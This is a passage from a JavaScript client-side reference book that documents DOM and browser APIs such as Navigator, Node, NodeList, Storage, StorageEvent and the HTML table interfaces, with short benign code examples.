: The minimum value that can be displayed by the `<meter>`. The default is 0.

`double` **`optimum`**
: If specified, the value that should be considered an optimum value.

`double` **`value`**
: The value that is represented by this `<meter>`.

MouseEvent

see Event

Navigator

information about the web browser

The Navigator object contains properties that describe the web browser your code is running in. You can use its properties to perform platform-specific customization. The name of this object is a reference to the Netscape Navigator browser, but all browsers support it. There is only a single instance of the Navigator object, which you can reference through the `navigator` property of any Window object.

Historically, the Navigator object has been used for "client sniffing," to run different code depending on what browser was in use. Example 14-3 shows a simple way to do this, and the accompanying text in §14.4 describes the pitfalls of relying on the Navigator object. A better approach to cross-browser compatibility is described in §13.4.3.

Properties

`readonly string` **`appName`**

The name of the browser. For Netscape-based browsers, the value of this property is "Netscape". In IE, the value of this property is "Microsoft Internet Explorer". For compatibility with existing code, many browsers return old, spoofed information.

`readonly string` **`appVersion`**

Version and platform information for the browser. For compatibility with existing code, most browsers return old out-of-date values for this property.

`readonly Geolocation` **`geolocation`**

A reference to the `Geolocation` object for this browser. The methods of that object allow a script to request the current geographical location of the user.

`readonly boolean` **`onLine`**

This property is `false` if the browser will not attempt to download anything from the network. This might be because the browser is certain that the computer is not connected to the network or because the user has configured the browser to perform no networking. If the browser will attempt downloads (because the computer might be online), this property is `true`. The browser fires online and offline events at the `Window` object when the state of this property changes.

`readonly string` **`platform`**

The operating system and/or hardware platform on which the browser is running. Although there is no standard set of values for this property, some typical values are "Win32", "MacPPC", and "Linux i586".

`readonly string` **`userAgent`**

The value the browser uses for the user-agent header in HTTP requests. For example:

```
Mozilla/5.0 (X11; U; Linux i686; en-US)
AppleWebKit/534.16 (KHTML, like Gecko)
Chrome/10.0.648.45
Safari/534.16
```

Methods

`void registerContentHandler(string mimeType, string url, string title)`

This method requests the registration of the specified *`url`* as a handler for displaying content of the specified *`mimeType`*. *`title`* is a human-readable site title that the browser may display to the user. The *`url`* argument must contain the string "%s". When this content handler is to be used to handle a web page of the specified *`mimeType`*, the URL of that web page will be encoded and inserted into the *`url`* in place of the "%s". Then, the browser will visit the resulting URL. This is a new feature of HTML5 and may not be implemented in all browsers.

`void registerProtocolHandler(string scheme, string url, string title)`

This method is like `registerContentHandler()`, but it registers a website to use as a handler for the URL protocol *`scheme`*. *`scheme`* should be a string like "mailto" or "sms" without a colon. This is a new feature of HTML5 and may not be implemented in all browsers.

`void yieldForStorageUpdates()`

Scripts that use `Document.cookie` or `Window.localStorage` or `Window.sessionStorage` (see Storage and Chapter 20) are not supposed to be able to observe storage changes made by concurrently running (same-origin) scripts in other windows. Browsers can (though at the time of this writing, not all browsers do) prevent concurrent updates with a locking mechanism like those used for databases. In browsers that support it, this method explicitly releases the lock, potentially unblocking concurrent scripts in other windows. Stored values retrieved after calling this method may be different than those retrieved before calling it.

Node

All objects in a document tree (including the Document object itself) implement the Node interface, which provides the fundamental properties and methods for traversing and manipulating the tree. The `parentNode` property and `childNodes[]` array allow you to move up and down the document tree. You can enumerate the children of a given node by looping through the elements of `childNodes[]` or by using the `firstChild` and `nextSibling` properties (or the `lastChild` and `previousSibling` properties, to loop backward). The `appendChild()`, `insertBefore()`, `removeChild()`, and `replaceChild()` methods allow you to modify the document tree by altering the children of a node.

Every object in a document tree implements both the Node interface and a more specialized subinterface, such as Element or Text. The `nodeType` property specifies which subinterface a node implements. You can use this property to test the type of a node before using properties or methods of the more specialized interface. For example:

```
var n;   // Holds the node we're working with
if (n.nodeType == 1) {       // Or use the constant Node.ELEMENT_NODE
    var tagname = n.tagName; // If the node is an Element, this is the tag name
}
```

Download from Wow! eBook <www.wowebook.com>

Constants

`unsigned short` **`ELEMENT_NODE`** `= 1`
`unsigned short` **`TEXT_NODE`** `= 3`
`unsigned short` **`PROCESSING_INSTRUCTION_NODE`** `= 7`
`unsigned short` **`COMMENT_NODE`** `= 8`
`unsigned short` **`DOCUMENT_NODE`** `= 9`
`unsigned short` **`DOCUMENT_TYPE_NODE`** `= 10`
`unsigned short` **`DOCUMENT_FRAGMENT_NODE`** `= 11`

These constants are possible values of the `nodeType` property. Note that these are static properties of the `Node()` constructor function; they are not properties of individual Node objects. Also note that they are not defined in IE8 and before. For compatibility, you can hardcode values or define your own constants.

`unsigned short` **`DOCUMENT_POSITION_DISCONNECTED`** `= 0x01`
`unsigned short` **`DOCUMENT_POSITION_PRECEDING`** `= 0x02`
`unsigned short` **`DOCUMENT_POSITION_FOLLOWING`** `= 0x04`
`unsigned short` **`DOCUMENT_POSITION_CONTAINS`** `= 0x08`
`unsigned short` **`DOCUMENT_POSITION_CONTAINED_BY`** `= 0x10`

These constants specify bits that may be on or off in the return value of `compareDocumentPosition()`.

Properties

`readonly string` **`baseURI`**

This property specifies the base URL of this Node against which relative URLs are resolved. For all nodes in HTML documents, this is the URL specified by the `<base>` element of the document, or just the `Document.URL` with the fragment identifier removed.

`readonly NodeList` **`childNodes`**

This property is an array-like object that contains the child nodes of the current node. This property should never be `null`: for nodes with no children, `childNodes` is an array with `length` zero. Note that the NodeList object is live: any changes to this element's list of children are immediately visible through the NodeList.

`readonly Node` **`firstChild`**

The first child of this node, or `null` if the node has no children.

`readonly Node` **`lastChild`**

The last child of this node, or `null` if the node has no children.

`readonly Node` **`nextSibling`**

The sibling node that immediately follows this one in the `childNodes[]` array of the `parentNode`, or `null` if there is no such node.

`readonly string` **`nodeName`**

The name of the node. For Element nodes, specifies the tag name of the element, which can also be retrieved with the `tagName` property of the Element interface. For most other types of nodes, the value is a constant string that depends on the node type.

`readonly unsigned short` **`nodeType`**
: The type of the node—i.e., which subinterface the node implements. The legal values are defined by the previously listed constants. Since these constants are not supported by Internet Explorer, however, you may prefer to use hardcoded values instead of the constants. In HTML documents, the common values for this property are 1 for Element nodes, 3 for Text nodes, 8 for Comment nodes, and 9 for the single top-level Document node.

`string` **`nodeValue`**
: The value of a node. For Text nodes, it holds the text content.

`readonly Document` **`ownerDocument`**
: The Document object with which this node is associated. For Document nodes, this property is `null`. Note that nodes have owners even if they have not been inserted into a document.

`readonly Node` **`parentNode`**
: The parent (or container) node of this node, or `null` if there is no parent. Note that the Document and DocumentFragment nodes never have parent nodes. Also, nodes that have been removed from the document, or that are newly created and have not yet been inserted into the document tree, have a `parentNode` of `null`.

`readonly Node` **`previousSibling`**
: The sibling node that immediately precedes this one in the `childNodes[]` array of the `parentNode`, or `null` if there is no such node.

`string` **`textContent`**
: For `Text` and `Comment` nodes, this property is just a synonym for the `data` property. For `Element` and `DocumentFragment` nodes, querying this property returns the concatenated text content of all Text node descendants. Setting this property on a Element or DocumentFragment replaces all descendants of that element or fragment with a single new Text node that holds the specified value.

Methods

`Node` **`appendChild`**`(Node` *`newChild`*`)`

This method adds the node *`newChild`* to the document, inserting it as the last child of this node. If *`newChild`* is already in the document tree, it is removed from the tree and then reinserted at its new location. If *`newChild`* is a DocumentFragment node, it is not inserted itself; instead, all its children are appended, in order, to the end of this node's `childNodes[]` array. Note that a node from (or created by) one document cannot be inserted into a different document. That is, the `ownerDocument` property of *`newChild`* must be the same as the `ownerDocument` property of this node. (See `Document.adoptNode()`). This method returns the Node that was passed to it.

`Node` **`cloneNode`**`(boolean` *`deep`*`)`

The `cloneNode()` method makes and returns a copy of the node on which it is called. If passed the argument `true`, it recursively clones all descendants of the node as well. Otherwise, it clones only the node and none of its children. The returned node is not part of the document tree, and its `parentNode` property is `null`. When an Element node is cloned, all of its attributes

are also cloned. Note, however, that event-listener functions registered on a node are not cloned.

`unsigned short` **`compareDocumentPosition`**`(Node other)`

This method compares the document position of this node to the document position of the *other* node and returns a number whose set bits describe the relationship between the nodes. If the two nodes are the same, no bits are set and this method returns 0. Otherwise, one or more bits will be set in the return value. The `DOCUMENT_POSITION_` constants listed above give symbolic names for each of the bits, which have the following meanings:

DOCUMENT_POSITION_	Value	Meaning
DISCONNECTED	0x01	The two nodes are not in the same document, so their position cannot be compared.
PRECEDING	0x02	The *other* node appears before this node.
FOLLOWING	0x04	The *other* node comes after this node.
CONTAINS	0x08	The *other* node contains this node. When this bit is set, the PRECEDING bit is always also set.
CONTAINED_BY	0x10	The *other* node is contained by this node. When this bit is set, the FOLLOWING bit is always also set.

`boolean` **`hasChildNodes`**`()`

Returns `true` if this node has one or more children or `false` if it has none.

`Node` **`insertBefore`**`(Node newChild, Node refChild)`

This method inserts the node *newChild* into the document tree as a child of this node and then returns the inserted node. The new node is positioned within this node's `childNodes[]` array so that it comes immediately before the *refChild* node. If *refChild* is `null`, *newChild* is inserted at the end of `childNodes[]`, just as with the `appendChild()` method. Note that it is illegal to call this method with a *refChild* that is not a child of this node.

If *newChild* is already in the document tree, it is removed from the tree and then reinserted at its new position. If *newChild* is a DocumentFragment node, it is not inserted itself; instead, each of its children is inserted, in order, at the specified location.

`boolean` **`isDefaultNamespace`**`(string namespace)`

Returns `true` if the specified *namespace* URL is the same as the default namespace URL returned by `lookupNamespaceURI(null)` and `false` otherwise.

`boolean` **`isEqualNode`**`(Node other)`

Returns `true` if this node and *other* are identical, with equal type, tagname, attributes, and (recursively) children. Returns `false` if the two nodes are not equal.

`boolean` **`isSameNode`**`(Node other)`

Returns `true` if this node and *other* are the same node and `false` otherwise. You can also simply use the `==` operator.

`string lookupNamespaceURI(string prefix)`

This method returns the namespace URL associated with the specified namespace *prefix*, or `null` if there isn't one. If *prefix* is `null`, it returns the URL of the default namespace.

`string lookupPrefix(string namespace)`

This method returns the namespace prefix associated with the specified *namespace* URL, or `null` if there is none.

`void normalize()`

This method normalizes the text node descendants of this node, merging adjacent nodes and removing empty nodes. Documents do not normally have empty or adjacent text nodes, but this can occur when a script adds or removes nodes.

`Node removeChild(Node oldChild)`

This method removes *oldChild* from the `childNodes[]` array of this node. It is an error to call this method with a node that is not a child. `removeChild()` returns the *oldChild* node after removing it. *oldChild* continues to be a valid node and can be reinserted into the document later.

`Node replaceChild(Node newChild, Node oldChild)`

This method replaces *oldChild* with *newChild* and returns *oldChild*. *oldChild* must be a child of this node. If *newChild* is already part of the document, it is first removed from the document before being reinserted at its new position. If *newChild* is a DocumentFragment, it is not inserted itself; instead, each of its children is inserted, in order, at the position formerly occupied by *oldChild*.

NodeList

a read-only array-like object of Nodes

A NodeList is a read-only array-like object whose elements are `Node` objects (usually Elements). The `length` property specifies how many nodes are in the list, and you can retrieve those nodes from indexes 0 through `length`-1. You can also pass the desired index to the `item()` method instead of indexing the NodeList directly. The elements of a NodeList are always valid Node objects: NodeLists never contain `null` elements.

NodeLists are commonly used: the `childNodes` property of Node, and the return values of `Document.getElementsByTagName()`, `Element.getElementsByTagName()`, and `HTMLDocument.getElementsByName()` are all NodeLists, for example. Because NodeList is an array-like object, however, we often refer to those values informally as arrays, using language like "the `childNodes[]` array."

Note that NodeList objects are usually live: they are not static snapshots but immediately reflect changes to the document tree. For example, if you have a NodeList that represents the children of a specific node and you then delete one of those children, the child is removed from your NodeList. Be careful when you are looping through the elements of a NodeList: the body of your loop can make changes to the document tree (such as deleting nodes) that can affect the contents of the NodeList!

Properties

`readonly unsigned long` **`length`**
: The number of nodes in the NodeList.

Methods

`Node` **`item`**`(unsigned long` *`index`*`)`

Returns the Node at the specified *index* or `null` if the index is out of bounds.

Option

an <option> in a Select element — Node, Element

The Option object describes a single option displayed within a `Select` object. The properties of this object specify whether it is selected by default, whether it is currently selected, the position it has in the `options[]` array of its containing Select object, the text it displays, and the value it passes to the server if it is selected when the containing form is submitted.

For historical reasons, the Option element defines a constructor that you can use to create and initialize new Option elements. (You can also use the normal `Document.cre ateElement()` method, of course.) Once a new Option object is created, it can be appended to the `options` collection of a Select object. See `HTMLOptionsCollection` for details.

Constructor

`new` **`Option`**`([string` *`text`*`, string` *`value`*`, boolean` *`defaultSelected`*`, boolean` *`selected`*`])`

The `Option()` constructor creates an `<option>` element. The four optional argument specify the `textContent` (see `Node`) of the element and the initial values of the `value`, `defaultSelected` and `selected` properties.

Properties

`boolean` **`defaultSelected`**
: This property mirrors the HTML `selected` attribute. It defines the initial selectedness of the option, and also the value that is used when the form is reset.

`boolean` **`disabled`**
: `true` if this option is disabled. Options are disabled if they or a containing `<optgroup>` has the HTML `disabled` attribute.

`readonly Form` **`form`**
: The `<form>` element, if any, of which this Option element is a part.

`readonly long` **`index`**
: The index of this Option element within its containing Select element. (See also HTMLOptionsCollection).

`string` **`label`**
: The value of the HTML `label` attribute if there is one, or otherwise the `textContent` (see `Node`) of this Option.

`boolean` **`selected`**
: `true` if this option is currently selected, or `false` otherwise.

`string` **`text`**
: The `textContent` (see `Node`) of this Option element, with leading and trailing whitespace removed and runs of two or more spaces replaced with a single space character.

`string` **`value`**
: The value of the HTML `value` attribute, if this Option has one, or the `textContent` of the element otherwise.

Output

an HTML form <output> element — Node, Element, FormControl

The Output object represents an HTML form `<output>` element. In browsers that support them, Output objects implement most of the properties of `FormControl`.

Properties

`string` **`defaultValue`**
: This property is the initial value of the Output element's `textContent` (see `Node`). When the form is reset, its `value` is restored to this value. If this property is set and the Output element is currently displaying its previous `defaultValue`, the new default value will be displayed. Otherwise, the currently displayed value will not be changed.

`readonly DOMSettableTokenList` **`htmlFor`**
: The HTML `for` attribute of an `<output>` element is a space-separated list of the IDs of elements whose values contributed to the computed content displayed by the `<output>` element. `for` is a reserved word in JavaScript, so this corresponding JavaScript property is named `htmlFor` instead. You can get and set this property as if it was an ordinary string value, or you can use the methods of `DOMTokenList` to query and set individual element IDs from the list.

PageTransitionEvent

event object for pageshow and pagehide events — Event

Browsers fire a pageshow event after the load event when a document first loads, and then fire another pageshow event each time the page is restored from the in-memory history cache. A PageTransitionEvent object is associated with each pageshow event, and its `persisted` property is `true` if the page is being restored rather than loaded or reloaded.

Pagehide events also have an associated PageTransitionEvent object, but the `persisted` property is always `true` for pagehide events.

Pageshow and pagehide events are triggered on the Window object. They do not bubble and have no default action to cancel.

Properties

`readonly boolean` **`persisted`**

For pageshow events, this property is `false` if the page was loaded (or reloaded) from the network or the disk cache. It is `true` if the page being shown was restored from the in-memory cache without being reloaded.

For pagehide events, this property is always `true`.

PopStateEvent

history transition event — Event

Web applications that manage their own history (see §22.2) use the `pushState()` method of `History` to create a new entry in the browsing history and associate a state value or object with it. When the user uses the browser's Back or Forward buttons to navigate between those saved states, the browser triggers a popstate event on the Window object and passes a copy of the saved application state in the associated PopStateEvent object.

Properties

`readonly any` **`state`**

This property holds a copy of the state value or object that was passed to the `History.pushState()` or `History.replaceState()` method. The `state` can be any value that can be cloned with the structured clone algorithm (see "Structured Clones" on page 672).

ProcessingInstruction

a processing instruction in an XML document — Node

This infrequently used interface represents a processing instruction (or PI) in an XML document. Programmers working with HTML documents will never encounter a ProcessingInstruction node.

Properties

`string` **`data`**

The content of the processing instruction (i.e., the first nonspace character after the target, up to but not including the closing `?>`).

`readonly string` **`target`**

The target of the processing instruction. This is the first identifier that follows the opening `<?`; it specifies the "processor" for which the processing instruction is intended.

Progress

a progress bar — Node, Element

A Progress object represents an HTML `<progress>` element and displays a graphical representation of progress toward the completion of some kind of task.

When the amount of work or time required to complete the task is not know, the Progress element is said to be in an *indeterminate* state. In this state, it simply displays some kind of "working" animation to indicate that something is happening. When the total amount of work (or time or bytes) and the amount accomplished are known, the Progress element is a *determinate* state and can display progress with some kind of completion percentage graphic.

`<progress>` is an HTML5 element that, at the time of this writing, is not yet widely supported.

Properties

`readonly Form` **`form`**
: The Form element, if there is one, that is the ancestor of this element or that was identified with the HTML `form` attribute.

`readonly NodeList` **`labels`**
: An array-like object of Label elements that are associated with this element.

`double` **`max`**
: The total amount of work to be done. When using a Progress element to display upload or download progress of an XMLHttpRequest, for example, you might set this property to the total number of bytes to be transferred. This property mirrors the `max` attribute. The default value is 1.0.

`readonly double` **`position`**
: If this is a determinate Progress element, this property is the computed value `value/max`. Otherwise this property will be -1.

`double` **`value`**
: A value between 0 and `max` indicating how much progress has been made. This property mirrors the `value` attribute. If the attribute exists, the Progress element is a determinate element. If it does not exist, the Progress element is indeterminate. To switch from determinate to indeterminate mode (because of a stalled event from a MediaElement, for example), you can use the `removeAttribute()` method of `Element`.

ProgressEvent

downloading, uploading, or file reading progress — Event

The `ApplicationCache`, `FileReader`, and (level 2) `XMLHttpRequest` object all fire Progress events to inform interested applications of the progress of a data transfer process such as a network download or upload or a file read. Events of this sort are known generically as *Progress events*, but only one such event actually has the name "progress." Other Progress events fired by FileReader and XMLHttpRequest are loadstart, load, loadend, error and abort. XMLHttpRequest also fires a timeout Progress event. ApplicationCache fires a number of events, but only the one named "progress" is a Progress event of the type described here.

Progress events are triggered in a sequence that begins with a loadstart event and always ends with a loadend event. The event immediately before loadend will be load, error, or abort, depending on whether the data transfer operation succeeded and if not, how it failed. Zero or more progress events (with the actual event name "progress") are triggered between the initial loadstart and the final two events. (The ApplicationCache object fires a different se-

quence of events, but the progress event it fires as part of its cache update process is a Progress event.)

Event handlers for Progress events are passed a ProgressEvent object that specifies how many bytes of data have been transferred. This ProgressEvent object is unrelated to the HTML `<progress>` element described in Progress, but the ProgressEvent object passed to the `onprogress` event handler of an XMLHttpRequest (for example) could be used to update the state of a `<progress>` element to display a visual download completion percentage value to the user.

Properties

`readonly boolean` **`lengthComputable`**
: `true` if the `total` number of bytes to transfer is known and `false` otherwise. If this property is `true`, the data transfer completion percentage for a ProgressEvent `e` can be computed as:

```
var percentComplete = Math.floor(100*e.loaded/e.total);
```

`readonly unsigned long` **`loaded`**
: How many bytes have been transferred so far.

`readonly unsigned long` **`total`**
: The total number of bytes to be transferred, if that value is known, or 0 otherwise. This information might come from the `size` property of a Blob or the `Content-Length` header returned by a web server, for example.

Screen

information about the display screen

The `screen` property of a Window refers to a Screen object. The properties of this global object contain information about the computer monitor on which the browser is displayed. JavaScript programs can use this information to optimize their output for the user's display capabilities. For example, a program can choose between large and small images based on the display size.

Properties

`readonly unsigned long` **`availHeight`**
: Specifies the available height, in pixels, of the screen on which the web browser is displayed. This available height does not include vertical space allocated to permanent desktop features, such as a bar or dock at the bottom of the screen.

`readonly unsigned long` **`availWidth`**
: Specifies the available width, in pixels, of the screen on which the web browser is displayed. This available width does not include horizontal space allocated to permanent desktop features.

`readonly unsigned long` **`colorDepth`**
`readonly unsigned long` **`pixelDepth`**
: These synonymous properties both specify the color depth of the screen in bits per pixel.

`readonly unsigned long` **`height`**
: Specifies the total height, in pixels, of the screen on which the web browser is displayed. See also `availHeight`.

`readonly unsigned long` **`width`**
: Specifies the total width, in pixels, of the screen on which the web browser is displayed. See also `availWidth`.

Script

an HTML <script> element — Node, Element

A Script object represents an HTML `<script>` element. Most of its properties simply mirror the HTML attributes with the same name, but `text` works like the `textContent` property inherited from `Node`.

Note that a `<script>` will not run more than once. You cannot change the `src` or `text` property of an existing `<script>` element to make it run a new script. You can set these properties on a newly created `<script>` element to execute a script, however. Note, though, that a `<script>` tag must be inserted into a Document in order to run. The script will be executed when `src` or `type` is set or when it is inserted into the document, whichever comes last.

Properties

`boolean` **`async`**
: `true` if the `<script>` element has an `async` attribute and `false` otherwise. See §13.3.1.

`string` **`charset`**
: The character encoding of the script specified by `src` URL. This property is not normally specified, and the default is to interpret the script using the same encoding as the containing document.

`boolean` **`defer`**
: `true` if the `<script>` element has a `defer` attribute and `false` otherwise. See §13.3.1.

`string` **`src`**
: The URL of the script to be loaded.

`string` **`text`**
: The text that appears between the `<script>` tag and the closing `</script>` tag.

`string` **`type`**
: The MIME type of the scripting language. The default is "text/javascript", and you do not need to set this property (or the HTML attribute) for ordinary JavaScript scripts. If you set this property to a custom MIME type of your own, you can embed arbitrary textual data within the `<script>` element for use by other scripts.

Select

a graphical selection list — Node, Element, FormControl

The Select element represents an HTML `<select>` tag, which displays a graphical list of choices to the user. If the HTML `multiple` attribute is present, the user may select any number of options from the list. If that attribute is not present, the user may select only one option, and options have a radio button behavior—selecting one deselects whichever was previously selected.

The options in a Select element can be displayed in two distinct ways. If the `size` attribute has a value greater than 1, or if the `multiple` attribute is present, they are displayed in a list box that is `size` lines high in the browser window. If `size` is smaller than the number of options, the listbox includes a scrollbar. On the other hand, if `size` is 1 and `multiple` is not specified, the currently selected option is displayed on a single line, and the list of other options is made available through a drop-down menu. The first presentation style displays the options clearly but requires more space in the browser window. The second style requires minimal space but does not display alternative options as explicitly. `size` defaults to 4 when the `multiple` attribute is set, and 1 otherwise.

The `options[]` property of the Select element is the most interesting. This is an array-like object of `<option>` elements (see `Option`) that describe the choices presented by the Select element. For historical reasons, this array-like object has some unusual behaviors for adding and removing new `<option>` elements. See `HTMLOptionsCollection` for details.

For a Select element without the `multiple` attribute specified, you can determine which option is selected with the `selectedIndex` property. When multiple selections are allowed, however, this property tells you the index of only the first selected option. To determine the full set of selected options, you must iterate through the `options[]` array and check the `selected` property of each Option object.

Properties

In addition to the properties listed here, Select elements also define the properties of `Element` and `FormControl` and mirror HTML attributes with the following JavaScript properties: `multiple`, `required`, and `size`.

`unsigned long` **`length`**

The number of elements in the `options` collection. Select objects are themselves array-like objects, and for a Select object `s` and a number `n`, `s[n]` is the same as `s.options[n]`.

`readonly HTMLOptionsCollection` **`options`**

An array-like object of `Option` elements contained by this Select element. See HTMLOptionsCollection for a description of the historical behavior of this collection.

`long` **`selectedIndex`**

The position of the selected option in the `options` array. If no options are selected, this property is –1. If multiple options are selected, this property holds the index of the first selected option.

Setting the value of this property selects the specified option and deselects all other options, even if the Select object has the `multiple` attribute specified. When you're doing

listbox selection (when `size` > 1), you can deselect all options by setting `selectedIndex` to –1. Note that changing the selection in this way does not trigger the `onchange()` event handler.

`readonly HTMLCollection` **`selectedOptions`**
: A read-only array-like object of Option elements that are selected. This is a new property defined by HTML5 and, at the time of this writing, it is not yet widely supported.

Methods

The methods listed here all delegate to the same-named methods of the `options` property; see `HTMLOptionsCollection` for details. In addition to these methods, Select elements also implement the methods of `Element` and `FormControl`.

`void` **`add`**`(Element` *`element`*`, [any` *`before`*`])`

This method works just like `options.add()` to add a new Option element.

`any` **`item`**`(unsigned long` *`index`*`)`

This method works just like `options.item()` to return an Option element. It is also invoked when the user indexes the Select object directly.

`any` **`namedItem`**`(string` *`name`*`)`

This method is just like `options.namedItem()`. See `HTMLOptionsCollection`.

`void` **`remove`**`(long` *`index`*`)`

This method works just like `options.remove()` to remove an Option element. See HTMLOptionsCollection.

Storage

client-side storage of name/value pairs

The `localStorage` and `sessionStorage` properties of `Window` are both Session objects that represent persistent client-side associative arrays that map string keys to values. In theory, a Session object can store any value that can be cloned with the structured clone algorithm (see "Structured Clones" on page 672). At the time of this writing, however, browsers only support string values.

The methods of a Storage object allow you to add new key/value pairs, remove key/value pairs, and query the value associated with a specified key. You don't have to call these methods explicitly, however: you can use array indexing and the `delete` operator in their place, and treat `localStorage` and `sessionStorage` as if they were ordinary JavaScript objects.

If you change the contents of a Storage object, any other Windows that have access to the same storage area (because they're displaying a document from the same origin) will be notified of the change with a `StorageEvent`.

Properties

`readonly unsigned long` **`length`**
: The number of key/value pairs stored.

Methods

`void clear()`

Removes all stored key/value pairs.

`any getItem(string key)`

Returns the value associated with *key*. (In implementations current at the time of this writing, the return value will always be a string.) This method is invoked implicitly when you index the Storage object to retrieve a property named *key*.

`string key(unsigned long n)`

Returns the *n*th key in this Storage object or `null` if *n* is greater than or equal to `length`. Note that the order of the keys may change if you add or remove key/value pairs.

`void removeItem(string key)`

Removes *key*, and its associated value, from this Storage object. This method is invoked implicitly if you use the `delete` operator to delete the property named *key*.

`void setItem(string key, any value)`

Add the specified *key* and *value* to this Storage object, replacing any value that is already associated with *key*. This method is invoked implicitly if you assign a *value* to the property named *key* of the Storage object. That is, you can use ordinary JavaScript property access and assignment syntax instead of explicitly calling `setItem()`.

StorageEvent

Event

The `localStorage` and `sessionStorage` properties of a Window object refer to `Storage` objects that represent client-side storage areas (see §20.1). If more than one window, tab, or frame is displaying documents from the same origin, multiple windows have access to the same storage areas. If a script in one window changes the contents of a storage area, a storage event is triggered on all other Window objects that share access to that storage area. (Note that the event is not triggered in the window that made the change.) Storage events are triggered on the Window object and do not bubble. They do not have any default action that can be canceled. The object associated with a storage event is a StorageEvent object, and its properties describe the change that occurred to the storage area.

Properties

`readonly string key`

This property is the key that was set or deleted. If the entire storage area was cleared with `Storage.clear()`, this property (as well as `newValue` and `oldValue`) will be `null`.

`readonly any newValue`

The new value of the specified `key`. This will be `null` if the key was removed. At the time of this writing, browser implementations only allow string values to be stored.

`readonly any` **`oldValue`**
: The old value of the key that was changed, or `null` if this key was newly added to the storage area. At the time of this writing browser implementations only allow string values to be stored.

`readonly Storage` **`storageArea`**
: This property will be equal to the `localStorage` or `sessionStorage` property of the Window that receives this event and indicates which storage area was changed.

`readonly string` **`url`**
: This is the URL of the document whose script changed the storage area.

Style

an HTML <style> element — Node, Element

A Style object represents an HTML `<style>` tag.

Properties

`boolean` **`disabled`**
: Set this property to `true` to disable the stylesheet associated with this `<style>` element, and set it to `false` to re-enable it.

`string` **`media`**
: This property mirrors the HTML `media` attribute and specifies the mediums to which the specified styles apply.

`boolean` **`scoped`**
: This property is `true` if the HTML `scoped` attribute is present on the `<style>` element, and `false` otherwise. At the time of this writing, browsers do not support scoped stylesheets.

`readonly CSSStyleSheet` **`sheet`**
: The `CSSStyleSheet` defined by this `<style>` element.

`string` **`title`**
: All HTML elements allow a `title` attribute. Setting this attribute or property on a `<style>` element may allow the user to select the stylesheet (as an alternate stylesheet) by title, and the title you specify may appear within the web browser UI in some fashion.

`string` **`type`**
: Mirrors the HTML `type` attribute. The default value is "text/css", and you do not normally need to set this attribute.

Table

an HTML <table> — Node, Element

The Table object represents an HTML `<table>` element and defines a number of convenience properties and methods for querying and modifying various sections of the table. These

methods and properties make it easier to work with tables, but their functionality can also be duplicated with core DOM methods.

HTML tables are composed of sections, rows, and cells. See `TableCell`, `TableRow`, and `TableSection`.

Properties

In addition to the properties listed here, Table elements also have a `summary` property that mirrors the HTML attribute of the same name.

`Element` **`caption`**
: A reference to the `<caption>` element for the table, or `null` if there is none

`readonly HTMLCollection` **`rows`**
: An array-like object of TableRow objects that represent all the rows in the table. This includes all rows defined within `<thead>`, `<tfoot>`, and `<tbody>` tags.

`readonly HTMLCollection` **`tBodies`**
: An array-like object of TableSection objects that represent all the `<tbody>` sections in this table.

`TableSection` **`tFoot`**
: The `<tfoot>` element of the table, or `null` if there is none.

`TableSection` **`tHead`**
: The `<thead>` element of the table, or `null` if there is none.

Methods

`Element` **`createCaption`**`()`

This method returns an Element object representing the `<caption>` of this table. If the table already has a caption, this method simply returns it. If the table does not have an existing `<caption>`, this method creates a new (empty) caption and inserts it into the table before returning it.

`TableSection` **`createTBody`**`()`

This method creates a new `<tbody>` element, inserts it into the table, and returns it. The new element is inserted after the last `<tbody>` in the table, or at the end of the table.

`TableSection` **`createTFoot`**`()`

This method returns a TableSection representing the first `<tfoot>` element for this table. If the table already has a footer, this method simply returns it. If the table does not have an existing footer, this method creates a new (empty) `<tfoot>` element and inserts it into the table before returning it.

`TableSection` **`createTHead`**`()`

This method returns a TableSection representing the first `<thead>` element for this table. If the table already has a header, this method simply returns it. If the table does not have an existing header, this method creates a new (empty) `<thead>` element and inserts it into the table before returning it.

`void deleteCaption()`

Removes the first `<caption>` element from the table, if it has one.

`void deleteRow(long index)`

This method deletes the row at the specified position from the table. Rows are numbered in the order in which they appear in the document source. Rows in `<thead>` and `<tfoot>` sections are numbered along with all other rows in the table.

`void deleteTFoot()`

Removes the first `<tfoot>` element from the table, if it has one.

`void deleteTHead()`

Removes the first `<thead>` element from the table, if it has one.

`TableRow insertRow([long index])`

This method creates a new `<tr>` element, inserts it into the table at the specified *index*, and returns it.

The new row is inserted in the same section and immediately before the existing row at the position specified by *index*. If *index* is equal to the number of rows in the table (or to -1), the new row is appended to the last section of the table. If the table is initially empty, the new row is inserted into a new `<tbody>` section that is itself inserted into the table.

You can use the convenience method `TableRow.insertCell()` to add content to the newly created row. See also the `insertRow()` method of `TableSection`.

TableCell

a cell in an HTML table — Node, Element

A TableCell object represents a `<td>` or `<th>` element.

Properties

`readonly long cellIndex`
: The position of this cell within its row.

`unsigned long colSpan`
: The value of the HTML `colspan` attribute, as a number.

`unsigned long rowSpan`
: The value of the HTML `rowspan` attribute, as a number.

TableRow

a <tr> element in an HTML table — Node, Element

A TableRow object represents a row (a `<tr>` element) in an HTML table and defines properties and methods for working with the TableCell elements of the row.

Properties

`readonly HTMLCollection` **`cells`**
: An array-like object of TableCell objects representing the `<td>` and `<th>` elements in this row.

`readonly long` **`rowIndex`**
: The index of this row in the table.

`readonly long` **`sectionRowIndex`**
: The position of this row within its section (i.e., within the `<thead>`, `<tbody>`, or `<tfoot>` in which it is contained).

Methods

`void` **`deleteCell`**`(long` *`index`*`)`

This method deletes the cell at the specified *`index`* in the row.

`Element` **`insertCell`**`([long` *`index`*`])`

This method creates a new `<td>` element, inserts it into the row at the specified position, and then returns it. The new cell is inserted immediately before the cell that is currently at the position specified by *`index`*. If *`index`* is omitted, is -1, or is equal to the number of cells in the row, the new cell is appended to the end of the row.

Note that this convenience method inserts `<td>` data cells only. If you need to add a header cell into a row, you must create and insert the `<th>` element using `Document.cre ateElement()` and `Node.insertBefore()` or related methods.

TableSection

a header, footer, or body section of a table — Node, Element

A TableSection object represents a `<tbody>`, `<thead>`, or `<tfoot>` element in an HTML table. The `tHead` and `tFoot` properties of a Table are TableSection objects, and the `tBodies` property is an HTMLCollection of TableSection objects.

A TableSection contains `TableRow` objects and is contained in a `Table` object.

Properties

`readonly HTMLCollection` **`rows`**
: An array-like object of TableRow objects representing the rows in this section of the table.

Methods

`void` **`deleteRow`**`(long` *`index`*`)`

This method deletes the row at the specified position within this section.

`TableRow` **`insertRow`**`([long` *`index`*`])`

This method creates a new `<tr>` element, inserts it into this table section at the specified position, and returns it. If *`index`* is -1 or is omitted or equals the number of rows currently in

